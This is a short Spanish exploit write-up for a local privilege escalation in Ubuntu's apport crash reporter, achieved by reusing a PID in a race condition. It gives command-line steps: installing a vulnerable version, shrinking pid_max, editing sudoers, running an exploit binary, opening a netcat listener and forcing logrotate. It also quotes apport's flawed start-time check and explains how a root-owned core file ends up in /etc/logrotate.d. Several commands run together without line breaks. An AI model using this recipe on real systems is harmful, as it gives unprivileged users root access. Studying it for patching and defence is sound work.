
condición de carrera en apport conduce a Escalada de Privilegios Local en Ubuntu
sudo apt-get install apport=2.20.11-0ubuntu27 (cualquier versión <= 2.20.11-0ubuntu27.10 es válida, pero tienes que descargar el código fuente)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping en /etc/sudoersulimit -c unlimited; ./exploit/etc/logrotate.d/corenc -lvcp 1234sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf para activar logrotate inmediatamente. (igual que /etc/cron.daily/logrotate)Apport comprobará si el pid se reutiliza, verificando si la hora de inicio del proceso es posterior a la del propio apport:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
Pero este pid podría reutilizarse justo después de que se lance apport. En ese caso, get_apport_starttime() == get_process_starttime().
Así que, puedes hacer que apport cree un archivo core con -rw------- root:root, si puedes re-ocupar este PID con otro proceso que se ejecute bajo uid==0:
sudo ping 8.8.8.8 con el cwd /etc/logrotate.d/. Un proceso que se ejecuta bajo root:root re-ocupará el pid A.